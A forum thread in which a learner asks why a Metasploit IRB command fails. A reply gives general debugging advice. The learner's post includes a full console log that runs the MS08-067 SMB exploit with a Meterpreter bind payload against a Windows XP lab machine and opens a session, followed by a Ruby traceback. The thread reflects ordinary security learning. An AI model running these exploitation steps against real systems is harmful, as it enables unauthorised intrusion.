IRB Shell error

Community Discussion
1

Hi guys! I was trying to learn about Metasplooit-Framework and I decided to try out a post-exploitation tool called Railgun. Unfortunately I am unable to figure out this error. I tried this on a Windows XP virtual machine.

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https://metasploit.com

   =[ metasploit v6.1.21-dev-                         ]
  • – --=[ 2187 exploits - 1160 auxiliary - 400 post ]
  • – --=[ 596 payloads - 45 encoders - 10 nops ]

module, why not try the reload command

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.22.26.226
RHOSTS => 172.22.26.226
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[] 172.22.26.226:445 - Automatically detecting the target…
[] 172.22.26.226:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[] 172.22.26.226:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[] 172.22.26.226:445 - Attempting to trigger the vulnerability…
[] Started bind TCP handler against 172.22.26.226:4444
[] Sending stage (175174 bytes) to 172.22.26.226
[*] Meterpreter session 1 opened (172.22.26.225:39401 → 172.22.26.226:4444 ) at 2021-12-23 21:48:13 +0530

meterpreter > irb
[] Starting IRB shell…
[] You are in the “client” (session) object

irb: warn: can’t alias kill from irb_kill.

client
=> nil

client.railgun
(irb):2:in <main>': undefined method railgun’ for nil:NilClass (NoMethodError)
from /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/irb_shell.rb:53:in block in run' from /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/irb_shell.rb:52:in catch’
from /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/irb_shell.rb:52:in run' from /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:587:in block in cmd_irb’
from /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell/history_manager.rb:49:in with_context' from /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:586:in cmd_irb’
from /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:563:in run_command' from /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console.rb:102:in run_command’
from /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:512:in block in run_single' from /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:506:in each’
from /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/dispatcher_shell.rb:506:in run_single' from /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console.rb:64:in block in interact’
from /opt/metasploit-framework/embedded/framework/lib/rex/ui/text/shell.rb:157:in run' from /opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console.rb:62:in interact’
from /opt/metasploit-framework/embedded/framework/lib/msf/base/sessions/meterpreter.rb:559:in _interact' from /opt/metasploit-framework/embedded/framework/lib/rex/ui/interactive.rb:53:in interact’
… 14 levels…

Can someone please help me with this issue??

2

well, with the error it is giving you, it tells you the source of your exception. Line 2. Read the railgun code, see what is expected in that portion of the <main> method.

client.railgun
(irb):2:in <main>': undefined method railgun’ for nil:NilClass

specifically.

I don’t really use Metasploit unless I am working with the devs or under contract, and don’t use it often enough to really point you in more of a direction than that. Download (or locate) the source for whatever “railgun” is that you are trying to do.

I’ve never seen Metasploit as a good way to learn anything about pentesting. Sure, it automates tasks, but you should know how to do those tasks without the framework before even attempting it.

It looks like you are attempting to get a reverse shell on a WinXP sp3 box. That is a really well documented vector, with numerous exploits that are in the wild and VERY well documented. Off the top of my head I recall a RDP vuln that was unpatchable. Google. Is. Your. Friend.

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